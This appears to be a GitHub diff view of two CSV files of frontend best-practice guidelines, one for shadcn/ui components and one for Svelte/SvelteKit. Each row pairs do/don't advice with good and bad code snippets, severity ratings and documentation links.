1,Setup,Use CLI for installation,Install components via shadcn CLI for proper setup,npx shadcn@latest add component-name,Manual copy-paste from docs,npx shadcn@latest add button,Copy component code manually,High,https://ui.shadcn.com/docs/cli
|
||||
2,Setup,Initialize project properly,Run init command to set up components.json and globals.css,npx shadcn@latest init before adding components,Skip init and add components directly,npx shadcn@latest init,npx shadcn@latest add button (without init),High,https://ui.shadcn.com/docs/installation
|
||||
3,Setup,Configure path aliases,Set up proper import aliases in tsconfig and components.json,Use @/components/ui path aliases,Relative imports like ../../components,import { Button } from "@/components/ui/button",import { Button } from "../../components/ui/button",Medium,https://ui.shadcn.com/docs/installation
|
||||
4,Theming,Use CSS variables for colors,Define colors as CSS variables in globals.css for theming,CSS variables in :root and .dark,Hardcoded color values in components,bg-primary text-primary-foreground,bg-blue-500 text-white,High,https://ui.shadcn.com/docs/theming
|
||||
5,Theming,Follow naming convention,Use semantic color names with foreground pattern,primary/primary-foreground secondary/secondary-foreground,Generic color names,--primary --primary-foreground,--blue --light-blue,Medium,https://ui.shadcn.com/docs/theming
|
||||
6,Theming,Support dark mode,Include .dark class styles for all custom CSS,Define both :root and .dark color schemes,Only light mode colors,.dark { --background: 240 10% 3.9%; },No .dark class styles,High,https://ui.shadcn.com/docs/dark-mode
|
||||
7,Components,Use component variants,Leverage cva variants for consistent styling,Use variant prop for different styles,Inline conditional classes,<Button variant="destructive">,<Button className={isError ? "bg-red-500" : "bg-blue-500"}>,Medium,https://ui.shadcn.com/docs/components/button
|
||||
8,Components,Compose with className,Add custom classes via className prop for overrides,Extend with className for one-off customizations,Modify component source directly,<Button className="w-full">,Edit button.tsx to add w-full,Medium,https://ui.shadcn.com/docs/components/button
|
||||
9,Components,Use size variants consistently,Apply size prop for consistent sizing across components,size="sm" size="lg" for sizing,Mix size classes inconsistently,<Button size="lg">,<Button className="text-lg px-8 py-4">,Medium,https://ui.shadcn.com/docs/components/button
|
||||
10,Components,Prefer compound components,Use provided sub-components for complex UI,Card + CardHeader + CardContent pattern,Single component with many props,<Card><CardHeader><CardTitle>,<Card title="x" content="y" footer="z">,Medium,https://ui.shadcn.com/docs/components/card
|
||||
11,Dialog,Use Dialog for modal content,Dialog component for overlay modal windows,Dialog for confirmations forms details,Alert for modal content,<Dialog><DialogContent>,<Alert> styled as modal,High,https://ui.shadcn.com/docs/components/dialog
|
||||
12,Dialog,Handle dialog state properly,Use open and onOpenChange for controlled dialogs,Controlled state with useState,Uncontrolled with default open only,"<Dialog open={open} onOpenChange={setOpen}>","<Dialog defaultOpen={true}>",Medium,https://ui.shadcn.com/docs/components/dialog
|
||||
13,Dialog,Include proper dialog structure,Use DialogHeader DialogTitle DialogDescription,Complete semantic structure,Missing title or description,<DialogHeader><DialogTitle><DialogDescription>,<DialogContent><p>Content</p></DialogContent>,High,https://ui.shadcn.com/docs/components/dialog
|
||||
14,Sheet,Use Sheet for side panels,Sheet component for slide-out panels and drawers,Sheet for navigation filters settings,Dialog for side content,<Sheet side="right">,<Dialog> with slide animation,Medium,https://ui.shadcn.com/docs/components/sheet
|
||||
15,Sheet,Specify sheet side,Set side prop for sheet slide direction,Explicit side="left" or side="right",Default side without consideration,<Sheet><SheetContent side="left">,<Sheet><SheetContent>,Low,https://ui.shadcn.com/docs/components/sheet
|
||||
16,Form,Use Form with react-hook-form,Integrate Form component with react-hook-form for validation,useForm + Form + FormField pattern,Custom form handling without Form,<Form {...form}><FormField control={form.control}>,<form onSubmit={handleSubmit}>,High,https://ui.shadcn.com/docs/components/form
|
||||
17,Form,Use FormField for inputs,Wrap inputs in FormField for proper labeling and errors,FormField + FormItem + FormLabel + FormControl,Input without FormField wrapper,<FormField><FormItem><FormLabel><FormControl><Input>,<Input onChange={...}>,High,https://ui.shadcn.com/docs/components/form
|
||||
18,Form,Display form messages,Use FormMessage for validation error display,FormMessage after FormControl,Custom error text without FormMessage,<FormControl><Input/></FormControl><FormMessage/>,<Input/>{error && <span>{error}</span>},Medium,https://ui.shadcn.com/docs/components/form
|
||||
19,Form,Use Zod for validation,Define form schema with Zod for type-safe validation,zodResolver with form schema,Manual validation logic,zodResolver(formSchema),validate: (values) => { if (!values.email) },Medium,https://ui.shadcn.com/docs/components/form
|
||||
20,Select,Use Select for dropdowns,Select component for option selection,Select for choosing from list,Native select element,<Select><SelectTrigger><SelectContent>,<select><option>,Medium,https://ui.shadcn.com/docs/components/select
|
||||
21,Select,Structure Select properly,Include Trigger Value Content and Items,Complete Select structure,Missing SelectValue or SelectContent,<SelectTrigger><SelectValue/></SelectTrigger><SelectContent><SelectItem>,<Select><option>,High,https://ui.shadcn.com/docs/components/select
|
||||
22,Command,Use Command for search,Command component for searchable lists and palettes,Command for command palette search,Input with custom dropdown,<Command><CommandInput><CommandList>,<Input><div className="dropdown">,Medium,https://ui.shadcn.com/docs/components/command
|
||||
23,Command,Group command items,Use CommandGroup for categorized items,CommandGroup with heading for sections,Flat list without grouping,<CommandGroup heading="Suggestions"><CommandItem>,<CommandItem> without groups,Low,https://ui.shadcn.com/docs/components/command
|
||||
24,Table,Use Table for data display,Table component for structured data,Table for tabular data display,Div grid for table-like layouts,<Table><TableHeader><TableBody><TableRow>,<div className="grid">,Medium,https://ui.shadcn.com/docs/components/table
|
||||
25,Table,Include proper table structure,Use TableHeader TableBody TableRow TableCell,Semantic table structure,Missing thead or tbody,<TableHeader><TableRow><TableHead>,<Table><TableRow> without header,High,https://ui.shadcn.com/docs/components/table
|
||||
26,DataTable,Use DataTable for complex tables,Combine Table with TanStack Table for features,DataTable pattern for sorting filtering pagination,Custom table implementation,useReactTable + Table components,Custom sort filter pagination logic,Medium,https://ui.shadcn.com/docs/components/data-table
|
||||
27,Tabs,Use Tabs for content switching,Tabs component for tabbed interfaces,Tabs for related content sections,Custom tab implementation,<Tabs><TabsList><TabsTrigger><TabsContent>,<div onClick={() => setTab(...)},Medium,https://ui.shadcn.com/docs/components/tabs
|
||||
28,Tabs,Set default tab value,Specify defaultValue for initial tab,defaultValue on Tabs component,No default leaving first tab,<Tabs defaultValue="account">,<Tabs> without defaultValue,Low,https://ui.shadcn.com/docs/components/tabs
|
||||
29,Accordion,Use Accordion for collapsible,Accordion for expandable content sections,Accordion for FAQ settings panels,Custom collapse implementation,<Accordion><AccordionItem><AccordionTrigger>,<div onClick={() => setOpen(!open)}>,Medium,https://ui.shadcn.com/docs/components/accordion
|
||||
30,Accordion,Choose accordion type,Use type="single" or type="multiple" appropriately,type="single" for one open type="multiple" for many,Default type without consideration,<Accordion type="single" collapsible>,<Accordion> without type,Low,https://ui.shadcn.com/docs/components/accordion
|
||||
31,Toast,Use Sonner for toasts,Sonner integration for toast notifications,toast() from sonner for notifications,Custom toast implementation,toast("Event created"),setShowToast(true),Medium,https://ui.shadcn.com/docs/components/sonner
|
||||
32,Toast,Add Toaster to layout,Include Toaster component in root layout,<Toaster /> in app layout,Toaster in individual pages,app/layout.tsx: <Toaster />,page.tsx: <Toaster />,High,https://ui.shadcn.com/docs/components/sonner
|
||||
33,Toast,Use toast variants,Apply toast.success toast.error for context,Semantic toast methods,Generic toast for all messages,toast.success("Saved!") toast.error("Failed"),toast("Saved!") toast("Failed"),Medium,https://ui.shadcn.com/docs/components/sonner
|
||||
34,Popover,Use Popover for floating content,Popover for dropdown menus and floating panels,Popover for contextual actions,Absolute positioned divs,<Popover><PopoverTrigger><PopoverContent>,<div className="relative"><div className="absolute">,Medium,https://ui.shadcn.com/docs/components/popover
|
||||
35,Popover,Handle popover alignment,Use align and side props for positioning,Explicit alignment configuration,Default alignment for all,<PopoverContent align="start" side="bottom">,<PopoverContent>,Low,https://ui.shadcn.com/docs/components/popover
|
||||
36,DropdownMenu,Use DropdownMenu for actions,DropdownMenu for action lists and context menus,DropdownMenu for user menu actions,Popover for action lists,<DropdownMenu><DropdownMenuTrigger><DropdownMenuContent>,<Popover> for menu actions,Medium,https://ui.shadcn.com/docs/components/dropdown-menu
|
||||
37,DropdownMenu,Group menu items,Use DropdownMenuGroup and DropdownMenuSeparator,Organized menu with separators,Flat list of items,<DropdownMenuGroup><DropdownMenuItem><DropdownMenuSeparator>,<DropdownMenuItem> without organization,Low,https://ui.shadcn.com/docs/components/dropdown-menu
|
||||
38,Tooltip,Use Tooltip for hints,Tooltip for icon buttons and truncated text,Tooltip for additional context,Title attribute for tooltips,<Tooltip><TooltipTrigger><TooltipContent>,<button title="Delete">,Medium,https://ui.shadcn.com/docs/components/tooltip
|
||||
39,Tooltip,Add TooltipProvider,Wrap app or section in TooltipProvider,TooltipProvider at app level,TooltipProvider per tooltip,<TooltipProvider><App/></TooltipProvider>,<Tooltip><TooltipProvider>,High,https://ui.shadcn.com/docs/components/tooltip
|
||||
40,Skeleton,Use Skeleton for loading,Skeleton component for loading placeholders,Skeleton matching content layout,Spinner for content loading,<Skeleton className="h-4 w-[200px]"/>,<Spinner/> for card loading,Medium,https://ui.shadcn.com/docs/components/skeleton
|
||||
41,Skeleton,Match skeleton dimensions,Size skeleton to match loaded content,Skeleton same size as expected content,Generic skeleton size,<Skeleton className="h-12 w-12 rounded-full"/>,<Skeleton/> without sizing,Medium,https://ui.shadcn.com/docs/components/skeleton
|
||||
42,AlertDialog,Use AlertDialog for confirms,AlertDialog for destructive action confirmation,AlertDialog for delete confirmations,Dialog for confirmations,<AlertDialog><AlertDialogTrigger><AlertDialogContent>,<Dialog> for delete confirmation,High,https://ui.shadcn.com/docs/components/alert-dialog
|
||||
43,AlertDialog,Include action buttons,Use AlertDialogAction and AlertDialogCancel,Standard confirm/cancel pattern,Custom buttons in AlertDialog,<AlertDialogCancel>Cancel</AlertDialogCancel><AlertDialogAction>,<Button>Cancel</Button><Button>Confirm</Button>,Medium,https://ui.shadcn.com/docs/components/alert-dialog
|
||||
44,Sidebar,Use Sidebar for navigation,Sidebar component for app navigation,Sidebar for main app navigation,Custom sidebar implementation,<SidebarProvider><Sidebar><SidebarContent>,<div className="w-64 fixed">,Medium,https://ui.shadcn.com/docs/components/sidebar
|
||||
45,Sidebar,Wrap in SidebarProvider,Use SidebarProvider for sidebar state management,SidebarProvider at layout level,Sidebar without provider,<SidebarProvider><Sidebar></SidebarProvider>,<Sidebar> without provider,High,https://ui.shadcn.com/docs/components/sidebar
|
||||
46,Sidebar,Use SidebarTrigger,Include SidebarTrigger for mobile toggle,SidebarTrigger for responsive toggle,Custom toggle button,<SidebarTrigger/>,<Button onClick={() => toggleSidebar()}>,Medium,https://ui.shadcn.com/docs/components/sidebar
|
||||
47,Chart,Use Chart for data viz,Chart component with Recharts integration,Chart component for dashboards,Direct Recharts without wrapper,<ChartContainer config={chartConfig}>,<ResponsiveContainer><BarChart>,Medium,https://ui.shadcn.com/docs/components/chart
|
||||
48,Chart,Define chart config,Create chartConfig for consistent theming,chartConfig with color definitions,Inline colors in charts,"{ desktop: { label: ""Desktop"", color: ""#2563eb"" } }",<Bar fill="#2563eb"/>,Medium,https://ui.shadcn.com/docs/components/chart
|
||||
49,Chart,Use ChartTooltip,Apply ChartTooltip for interactive charts,ChartTooltip with ChartTooltipContent,Recharts Tooltip directly,<ChartTooltip content={<ChartTooltipContent/>}/>,<Tooltip/> from recharts,Low,https://ui.shadcn.com/docs/components/chart
|
||||
50,Blocks,Use blocks for scaffolding,Start from shadcn blocks for common layouts,npx shadcn@latest add dashboard-01,Build dashboard from scratch,npx shadcn@latest add login-01,Custom login page from scratch,Medium,https://ui.shadcn.com/blocks
|
||||
51,Blocks,Customize block components,Modify copied block code to fit needs,Edit block files after installation,Use blocks without modification,Customize dashboard-01 layout,Use dashboard-01 as-is,Low,https://ui.shadcn.com/blocks
|
||||
52,A11y,Use semantic components,Shadcn components have built-in ARIA,Rely on component accessibility,Override ARIA attributes,<Button> has button role,<div role="button">,High,https://ui.shadcn.com/docs/components/button
|
||||
53,A11y,Maintain focus management,Dialog Sheet handle focus automatically,Let components manage focus,Custom focus handling,<Dialog> traps focus,document.querySelector().focus(),High,https://ui.shadcn.com/docs/components/dialog
|
||||
54,A11y,Provide labels,Use FormLabel and aria-label appropriately,FormLabel for form inputs,Placeholder as only label,<FormLabel>Email</FormLabel><Input/>,<Input placeholder="Email"/>,High,https://ui.shadcn.com/docs/components/form
|
||||
55,Performance,Import components individually,Import only needed components,Named imports from component files,Import all from index,import { Button } from "@/components/ui/button",import { Button Card Dialog } from "@/components/ui",Medium,
|
||||
56,Performance,Lazy load dialogs,Dynamic import for heavy dialog content,React.lazy for dialog content,Import all dialogs upfront,const HeavyContent = lazy(() => import('./Heavy')),import HeavyContent from './Heavy',Medium,
|
||||
57,Customization,Extend variants with cva,Add new variants using class-variance-authority,Extend buttonVariants for new styles,Inline classes for variants,"variants: { size: { xl: ""h-14 px-8"" } }",className="h-14 px-8",Medium,https://ui.shadcn.com/docs/components/button
|
||||
58,Customization,Create custom components,Build new components following shadcn patterns,Use cn() and cva for custom components,Different patterns for custom,const Custom = ({ className }) => <div className={cn("base" className)}>,const Custom = ({ style }) => <div style={style}>,Medium,
|
||||
59,Patterns,Use asChild for composition,asChild prop for component composition,Slot pattern with asChild,Wrapper divs for composition,<Button asChild><Link href="/">,<Button><Link href="/"></Link></Button>,Medium,https://ui.shadcn.com/docs/components/button
|
||||
60,Patterns,Combine with React Hook Form,Form + useForm for complete forms,RHF Controller with shadcn inputs,Custom form state management,<FormField control={form.control} name="email">,<Input value={email} onChange={(e) => setEmail(e.target.value)},High,https://ui.shadcn.com/docs/components/form
|
||||
|
Can't render this file because it contains an unexpected character in line 4 and column 188.
|
@@ -1,54 +1,54 @@
|
||||
No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL
|
||||
1,Reactivity,Use $: for reactive statements,Automatic dependency tracking,$: for derived values,Manual recalculation,$: doubled = count * 2,let doubled; count && (doubled = count * 2),Medium,https://svelte.dev/docs/svelte-components#script-3-$-marks-a-statement-as-reactive
|
||||
2,Reactivity,Trigger reactivity with assignment,Svelte tracks assignments not mutations,Reassign arrays/objects to trigger update,Mutate without reassignment,"items = [...items, newItem]",items.push(newItem),High,https://svelte.dev/docs/svelte-components#script-2-assignments-are-reactive
|
||||
3,Reactivity,Use $state in Svelte 5,Runes for explicit reactivity,let count = $state(0),Implicit reactivity in Svelte 5,let count = $state(0),let count = 0 (Svelte 5),Medium,https://svelte.dev/blog/runes
|
||||
4,Reactivity,Use $derived for computed values,$derived replaces $: in Svelte 5,let doubled = $derived(count * 2),$: in Svelte 5,let doubled = $derived(count * 2),$: doubled = count * 2 (Svelte 5),Medium,
|
||||
5,Reactivity,Use $effect for side effects,$effect replaces $: side effects,Use $effect for subscriptions,$: for side effects in Svelte 5,$effect(() => console.log(count)),$: console.log(count) (Svelte 5),Medium,
|
||||
6,Props,Export let for props,Declare props with export let,export let propName,Props without export,export let count = 0,let count = 0,High,https://svelte.dev/docs/svelte-components#script-1-export-creates-a-component-prop
|
||||
7,Props,Use $props in Svelte 5,$props rune for prop access,let { name } = $props(),export let in Svelte 5,"let { name, age = 0 } = $props()",export let name; export let age = 0,Medium,
|
||||
8,Props,Provide default values,Default props with assignment,export let count = 0,Required props without defaults,export let count = 0,export let count,Low,
|
||||
9,Props,Use spread props,Pass through unknown props,{...$$restProps} on elements,Manual prop forwarding,<button {...$$restProps}>,<button class={$$props.class}>,Low,https://svelte.dev/docs/basic-markup#attributes-and-props
|
||||
10,Bindings,Use bind: for two-way binding,Simplified input handling,bind:value for inputs,on:input with manual update,<input bind:value={name}>,<input value={name} on:input={e => name = e.target.value}>,Low,https://svelte.dev/docs/element-directives#bind-property
|
||||
11,Bindings,Bind to DOM elements,Reference DOM nodes,bind:this for element reference,querySelector in onMount,<div bind:this={el}>,onMount(() => el = document.querySelector()),Medium,
|
||||
12,Bindings,Use bind:group for radios/checkboxes,Simplified group handling,bind:group for radio/checkbox groups,Manual checked handling,"<input type=""radio"" bind:group={selected}>","<input type=""radio"" checked={selected === value}>",Low,
|
||||
13,Events,Use on: for event handlers,Event directive syntax,on:click={handler},addEventListener in onMount,<button on:click={handleClick}>,onMount(() => btn.addEventListener()),Medium,https://svelte.dev/docs/element-directives#on-eventname
|
||||
14,Events,Forward events with on:event,Pass events to parent,on:click without handler,createEventDispatcher for DOM events,<button on:click>,"dispatch('click', event)",Low,
|
||||
15,Events,Use createEventDispatcher,Custom component events,dispatch for custom events,on:event for custom events,"dispatch('save', { data })",on:save without dispatch,Medium,https://svelte.dev/docs/svelte#createeventdispatcher
|
||||
16,Lifecycle,Use onMount for initialization,Run code after component mounts,onMount for setup and data fetching,Code in script body for side effects,onMount(() => fetchData()),fetchData() in script body,High,https://svelte.dev/docs/svelte#onmount
|
||||
17,Lifecycle,Return cleanup from onMount,Automatic cleanup on destroy,Return function from onMount,Separate onDestroy for paired cleanup,onMount(() => { sub(); return unsub }),onMount(sub); onDestroy(unsub),Medium,
|
||||
18,Lifecycle,Use onDestroy sparingly,Only when onMount cleanup not possible,onDestroy for non-mount cleanup,onDestroy for mount-related cleanup,onDestroy for store unsubscribe,onDestroy(() => clearInterval(id)),Low,
|
||||
19,Lifecycle,Avoid beforeUpdate/afterUpdate,Usually not needed,Reactive statements instead,beforeUpdate for derived state,$: if (x) doSomething(),beforeUpdate(() => doSomething()),Low,
|
||||
20,Stores,Use writable for mutable state,Basic reactive store,writable for shared mutable state,Local variables for shared state,const count = writable(0),let count = 0 in module,Medium,https://svelte.dev/docs/svelte-store#writable
|
||||
21,Stores,Use readable for read-only state,External data sources,readable for derived/external data,writable for read-only data,"readable(0, set => interval(set))",writable(0) for timer,Low,https://svelte.dev/docs/svelte-store#readable
|
||||
22,Stores,Use derived for computed stores,Combine or transform stores,derived for computed values,Manual subscription for derived,"derived(count, $c => $c * 2)",count.subscribe(c => doubled = c * 2),Medium,https://svelte.dev/docs/svelte-store#derived
|
||||
23,Stores,Use $ prefix for auto-subscription,Automatic subscribe/unsubscribe,$storeName in components,Manual subscription,{$count},count.subscribe(c => value = c),High,
|
||||
24,Stores,Clean up custom subscriptions,Unsubscribe when component destroys,Return unsubscribe from onMount,Leave subscriptions open,onMount(() => store.subscribe(fn)),store.subscribe(fn) in script,High,
|
||||
25,Slots,Use slots for composition,Content projection,<slot> for flexible content,Props for all content,<slot>Default</slot>,"<Component content=""text""/>",Medium,https://svelte.dev/docs/special-elements#slot
|
||||
26,Slots,Name slots for multiple areas,Multiple content areas,"<slot name=""header"">",Single slot for complex layouts,"<slot name=""header""><slot name=""footer"">",<slot> with complex conditionals,Low,
|
||||
27,Slots,Check slot content with $$slots,Conditional slot rendering,$$slots.name for conditional rendering,Always render slot wrapper,"{#if $$slots.footer}<slot name=""footer""/>{/if}","<div><slot name=""footer""/></div>",Low,
|
||||
28,Styling,Use scoped styles by default,Styles scoped to component,<style> for component styles,Global styles for component,:global() only when needed,<style> all global,Medium,https://svelte.dev/docs/svelte-components#style
|
||||
29,Styling,Use :global() sparingly,Escape scoping when needed,:global for third-party styling,Global for all styles,:global(.external-lib),<style> without scoping,Medium,
|
||||
30,Styling,Use CSS variables for theming,Dynamic styling,CSS custom properties,Inline styles for themes,"style=""--color: {color}""","style=""color: {color}""",Low,
|
||||
31,Transitions,Use built-in transitions,Svelte transition directives,transition:fade for simple effects,Manual CSS transitions,<div transition:fade>,<div class:fade={visible}>,Low,https://svelte.dev/docs/element-directives#transition-fn
|
||||
32,Transitions,Use in: and out: separately,Different enter/exit animations,in:fly out:fade for asymmetric,Same transition for both,<div in:fly out:fade>,<div transition:fly>,Low,
|
||||
33,Transitions,Add local modifier,Prevent ancestor trigger,transition:fade|local,Global transitions for lists,<div transition:slide|local>,<div transition:slide>,Medium,
|
||||
34,Actions,Use actions for DOM behavior,Reusable DOM logic,use:action for DOM enhancements,onMount for each usage,<div use:clickOutside>,onMount(() => setupClickOutside(el)),Medium,https://svelte.dev/docs/element-directives#use-action
|
||||
35,Actions,Return update and destroy,Lifecycle methods for actions,"Return { update, destroy }",Only initial setup,"return { update(params) {}, destroy() {} }",return destroy only,Medium,
|
||||
36,Actions,Pass parameters to actions,Configure action behavior,use:action={params},Hardcoded action behavior,<div use:tooltip={options}>,<div use:tooltip>,Low,
|
||||
37,Logic,Use {#if} for conditionals,Template conditionals,{#if} {:else if} {:else},Ternary in expressions,{#if cond}...{:else}...{/if},{cond ? a : b} for complex,Low,https://svelte.dev/docs/logic-blocks#if
|
||||
38,Logic,Use {#each} for lists,List rendering,{#each} with key,Map in expression,{#each items as item (item.id)},{items.map(i => `<div>${i}</div>`)},Medium,
|
||||
39,Logic,Always use keys in {#each},Proper list reconciliation,(item.id) for unique key,Index as key or no key,{#each items as item (item.id)},"{#each items as item, i (i)}",High,
|
||||
40,Logic,Use {#await} for promises,Handle async states,{#await} for loading/error states,Manual promise handling,{#await promise}...{:then}...{:catch},{#if loading}...{#if error},Medium,https://svelte.dev/docs/logic-blocks#await
|
||||
41,SvelteKit,Use +page.svelte for routes,File-based routing,+page.svelte for route components,Custom routing setup,routes/about/+page.svelte,routes/About.svelte,Medium,https://kit.svelte.dev/docs/routing
|
||||
42,SvelteKit,Use +page.js for data loading,Load data before render,load function in +page.js,onMount for data fetching,export function load() {},onMount(() => fetchData()),High,https://kit.svelte.dev/docs/load
|
||||
43,SvelteKit,Use +page.server.js for server-only,Server-side data loading,+page.server.js for sensitive data,+page.js for API keys,+page.server.js with DB access,+page.js with DB access,High,
|
||||
44,SvelteKit,Use form actions,Server-side form handling,+page.server.js actions,API routes for forms,export const actions = { default },fetch('/api/submit'),Medium,https://kit.svelte.dev/docs/form-actions
|
||||
45,SvelteKit,Use $app/stores for app state,$page $navigating $updated,$page for current page data,Manual URL parsing,import { page } from '$app/stores',window.location.pathname,Medium,https://kit.svelte.dev/docs/modules#$app-stores
|
||||
46,Performance,Use {#key} for forced re-render,Reset component state,{#key id} for fresh instance,Manual destroy/create,{#key item.id}<Component/>{/key},on:change={() => component = null},Low,https://svelte.dev/docs/logic-blocks#key
|
||||
47,Performance,Avoid unnecessary reactivity,Not everything needs $:,$: only for side effects,$: for simple assignments,$: if (x) console.log(x),$: y = x (when y = x works),Low,
|
||||
48,Performance,Use immutable compiler option,Skip equality checks,immutable: true for large lists,Default for all components,<svelte:options immutable/>,Default without immutable,Low,
|
||||
49,TypeScript,"Use lang=""ts"" in script",TypeScript support,"<script lang=""ts"">",JavaScript for typed projects,"<script lang=""ts"">",<script> with JSDoc,Medium,https://svelte.dev/docs/typescript
|
||||
50,TypeScript,Type props with interface,Explicit prop types,interface $$Props for types,Untyped props,interface $$Props { name: string },export let name,Medium,
|
||||
51,TypeScript,Type events with createEventDispatcher,Type-safe events,createEventDispatcher<Events>(),Untyped dispatch,createEventDispatcher<{ save: Data }>(),createEventDispatcher(),Medium,
|
||||
52,Accessibility,Use semantic elements,Proper HTML in templates,button nav main appropriately,div for everything,<button on:click>,<div on:click>,High,
|
||||
53,Accessibility,Add aria to dynamic content,Accessible state changes,aria-live for updates,Silent dynamic updates,"<div aria-live=""polite"">{message}</div>",<div>{message}</div>,Medium,
|
||||
No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL
|
||||
1,Reactivity,Use $: for reactive statements,Automatic dependency tracking,$: for derived values,Manual recalculation,$: doubled = count * 2,let doubled; count && (doubled = count * 2),Medium,https://svelte.dev/docs/svelte-components#script-3-$-marks-a-statement-as-reactive
|
||||
2,Reactivity,Trigger reactivity with assignment,Svelte tracks assignments not mutations,Reassign arrays/objects to trigger update,Mutate without reassignment,"items = [...items, newItem]",items.push(newItem),High,https://svelte.dev/docs/svelte-components#script-2-assignments-are-reactive
|
||||
3,Reactivity,Use $state in Svelte 5,Runes for explicit reactivity,let count = $state(0),Implicit reactivity in Svelte 5,let count = $state(0),let count = 0 (Svelte 5),Medium,https://svelte.dev/blog/runes
|
||||
4,Reactivity,Use $derived for computed values,$derived replaces $: in Svelte 5,let doubled = $derived(count * 2),$: in Svelte 5,let doubled = $derived(count * 2),$: doubled = count * 2 (Svelte 5),Medium,
|
||||
5,Reactivity,Use $effect for side effects,$effect replaces $: side effects,Use $effect for subscriptions,$: for side effects in Svelte 5,$effect(() => console.log(count)),$: console.log(count) (Svelte 5),Medium,
|
||||
6,Props,Export let for props,Declare props with export let,export let propName,Props without export,export let count = 0,let count = 0,High,https://svelte.dev/docs/svelte-components#script-1-export-creates-a-component-prop
|
||||
7,Props,Use $props in Svelte 5,$props rune for prop access,let { name } = $props(),export let in Svelte 5,"let { name, age = 0 } = $props()",export let name; export let age = 0,Medium,
|
||||
8,Props,Provide default values,Default props with assignment,export let count = 0,Required props without defaults,export let count = 0,export let count,Low,
|
||||
9,Props,Use spread props,Pass through unknown props,{...$$restProps} on elements,Manual prop forwarding,<button {...$$restProps}>,<button class={$$props.class}>,Low,https://svelte.dev/docs/basic-markup#attributes-and-props
|
||||
10,Bindings,Use bind: for two-way binding,Simplified input handling,bind:value for inputs,on:input with manual update,<input bind:value={name}>,<input value={name} on:input={e => name = e.target.value}>,Low,https://svelte.dev/docs/element-directives#bind-property
|
||||
11,Bindings,Bind to DOM elements,Reference DOM nodes,bind:this for element reference,querySelector in onMount,<div bind:this={el}>,onMount(() => el = document.querySelector()),Medium,
|
||||
12,Bindings,Use bind:group for radios/checkboxes,Simplified group handling,bind:group for radio/checkbox groups,Manual checked handling,"<input type=""radio"" bind:group={selected}>","<input type=""radio"" checked={selected === value}>",Low,
|
||||
13,Events,Use on: for event handlers,Event directive syntax,on:click={handler},addEventListener in onMount,<button on:click={handleClick}>,onMount(() => btn.addEventListener()),Medium,https://svelte.dev/docs/element-directives#on-eventname
|
||||
14,Events,Forward events with on:event,Pass events to parent,on:click without handler,createEventDispatcher for DOM events,<button on:click>,"dispatch('click', event)",Low,
|
||||
15,Events,Use createEventDispatcher,Custom component events,dispatch for custom events,on:event for custom events,"dispatch('save', { data })",on:save without dispatch,Medium,https://svelte.dev/docs/svelte#createeventdispatcher
|
||||
16,Lifecycle,Use onMount for initialization,Run code after component mounts,onMount for setup and data fetching,Code in script body for side effects,onMount(() => fetchData()),fetchData() in script body,High,https://svelte.dev/docs/svelte#onmount
|
||||
17,Lifecycle,Return cleanup from onMount,Automatic cleanup on destroy,Return function from onMount,Separate onDestroy for paired cleanup,onMount(() => { sub(); return unsub }),onMount(sub); onDestroy(unsub),Medium,
|
||||
18,Lifecycle,Use onDestroy sparingly,Only when onMount cleanup not possible,onDestroy for non-mount cleanup,onDestroy for mount-related cleanup,onDestroy for store unsubscribe,onDestroy(() => clearInterval(id)),Low,
|
||||
19,Lifecycle,Avoid beforeUpdate/afterUpdate,Usually not needed,Reactive statements instead,beforeUpdate for derived state,$: if (x) doSomething(),beforeUpdate(() => doSomething()),Low,
|
||||
20,Stores,Use writable for mutable state,Basic reactive store,writable for shared mutable state,Local variables for shared state,const count = writable(0),let count = 0 in module,Medium,https://svelte.dev/docs/svelte-store#writable
|
||||
21,Stores,Use readable for read-only state,External data sources,readable for derived/external data,writable for read-only data,"readable(0, set => interval(set))",writable(0) for timer,Low,https://svelte.dev/docs/svelte-store#readable
|
||||
22,Stores,Use derived for computed stores,Combine or transform stores,derived for computed values,Manual subscription for derived,"derived(count, $c => $c * 2)",count.subscribe(c => doubled = c * 2),Medium,https://svelte.dev/docs/svelte-store#derived
|
||||
23,Stores,Use $ prefix for auto-subscription,Automatic subscribe/unsubscribe,$storeName in components,Manual subscription,{$count},count.subscribe(c => value = c),High,
|
||||
24,Stores,Clean up custom subscriptions,Unsubscribe when component destroys,Return unsubscribe from onMount,Leave subscriptions open,onMount(() => store.subscribe(fn)),store.subscribe(fn) in script,High,
|
||||
25,Slots,Use slots for composition,Content projection,<slot> for flexible content,Props for all content,<slot>Default</slot>,"<Component content=""text""/>",Medium,https://svelte.dev/docs/special-elements#slot
|
||||
26,Slots,Name slots for multiple areas,Multiple content areas,"<slot name=""header"">",Single slot for complex layouts,"<slot name=""header""><slot name=""footer"">",<slot> with complex conditionals,Low,
|
||||
27,Slots,Check slot content with $$slots,Conditional slot rendering,$$slots.name for conditional rendering,Always render slot wrapper,"{#if $$slots.footer}<slot name=""footer""/>{/if}","<div><slot name=""footer""/></div>",Low,
|
||||
28,Styling,Use scoped styles by default,Styles scoped to component,<style> for component styles,Global styles for component,:global() only when needed,<style> all global,Medium,https://svelte.dev/docs/svelte-components#style
|
||||
29,Styling,Use :global() sparingly,Escape scoping when needed,:global for third-party styling,Global for all styles,:global(.external-lib),<style> without scoping,Medium,
|
||||
30,Styling,Use CSS variables for theming,Dynamic styling,CSS custom properties,Inline styles for themes,"style=""--color: {color}""","style=""color: {color}""",Low,
|
||||
31,Transitions,Use built-in transitions,Svelte transition directives,transition:fade for simple effects,Manual CSS transitions,<div transition:fade>,<div class:fade={visible}>,Low,https://svelte.dev/docs/element-directives#transition-fn
|
||||
32,Transitions,Use in: and out: separately,Different enter/exit animations,in:fly out:fade for asymmetric,Same transition for both,<div in:fly out:fade>,<div transition:fly>,Low,
|
||||
33,Transitions,Add local modifier,Prevent ancestor trigger,transition:fade|local,Global transitions for lists,<div transition:slide|local>,<div transition:slide>,Medium,
|
||||
34,Actions,Use actions for DOM behavior,Reusable DOM logic,use:action for DOM enhancements,onMount for each usage,<div use:clickOutside>,onMount(() => setupClickOutside(el)),Medium,https://svelte.dev/docs/element-directives#use-action
|
||||
35,Actions,Return update and destroy,Lifecycle methods for actions,"Return { update, destroy }",Only initial setup,"return { update(params) {}, destroy() {} }",return destroy only,Medium,
|
||||
36,Actions,Pass parameters to actions,Configure action behavior,use:action={params},Hardcoded action behavior,<div use:tooltip={options}>,<div use:tooltip>,Low,
|
||||
